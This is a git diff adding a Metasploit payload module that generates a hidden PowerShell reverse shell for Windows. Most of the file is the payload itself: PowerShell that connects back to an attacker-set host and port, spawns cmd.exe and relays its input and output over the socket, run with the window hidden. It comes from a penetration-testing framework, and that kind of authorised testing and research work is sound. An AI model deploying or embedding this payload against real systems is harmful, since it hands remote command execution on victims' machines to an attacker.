diff --git a/modules/payloads/singles/cmd/windows/reverse_powershell.rb b/modules/payloads/singles/cmd/windows/reverse_powershell.rb new file mode 100644 index 0000000000..42e9dd6208 --- /dev/null +++ b/modules/payloads/singles/cmd/windows/reverse_powershell.rb @@ -0,0 +1,100 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/find_shell' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows Command Shell, Reverse TCP (via Powershell)', + 'Description' => 'Connect back and create a command shell via Powershell', + 'Author' => + [ + 'Dave Kennedy', # Original payload from trustedsec on SET + 'Ben Campbell' # Metasploit module + ], + 'References' => + [ + 'URL' => 'https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell', + ], + # The powershell code is from SET, copyrighted by TrustedSEC, LLC and BSD licensed -- see https://github.com/trustedsec/social-engineer-toolkit/blob/master/readme/LICENSE + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'powershell', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constru the payload + # + def generate + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + lhost = datastore['LHOST'] + lport = datastore['LPORT'] + powershell = "function RSC{"\ + "if ($c.Connected -eq $true) {$c.Close()};"\ + "if ($p.ExitCode -ne $null) {$p.Close()};"\ + "exit;"\ + "};"\ + "$a='#{lhost}';$p='#{lport}';$c=New-Object system.net.sockets.tcpclient;"\ + "$c.connect($a,$p);$s=$c.GetStream();"\ + "$nb=New-Object System.Byte[] $c.ReceiveBufferSize;"\ + "$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';"\ + "$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;"\ + "$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;"\ + "$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;"\ + "while($os.Peek() -ne -1){"\ + "$o += $e.GetString($os.Read())"\ + "};"\ + "$s.Write($e.GetBytes($o),0,$o.Length);"\ + "$o=$null;$d=$false;$t=0;"\ + "while (-not $d) {"\ + "if ($c.Connected -ne $true) {RSC};"\ + "$pos=0;$i=1; "\ + "while (($i -gt 0) -and ($pos -lt $nb.Length)) {"\ + "$r=$s.Read($nb,$pos,$nb.Length - $pos);"\ + "$pos+=$r;"\ + "if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}};"\ + "if ($pos -gt 0){"\ + "$str=$e.GetString($nb,0,$pos);"\ + "$is.write($str);start-sleep 1;"\ + "if ($p.ExitCode -ne $null){RSC}else{"\ + "$o=$e.GetString($os.Read());"\ + "while($os.Peek() -ne -1){"\ + "$o += $e.GetString($os.Read());"\ + "if ($o -eq $str) {$o=''}"\ + "};"\ + "$s.Write($e.GetBytes($o),0,$o.length);"\ + "$o=$null;"\ + "$str=$null"\ + "}"\ + "}else{RSC}};"\ + + "powershell -w hidden -nop -c #{powershell}" + end + +end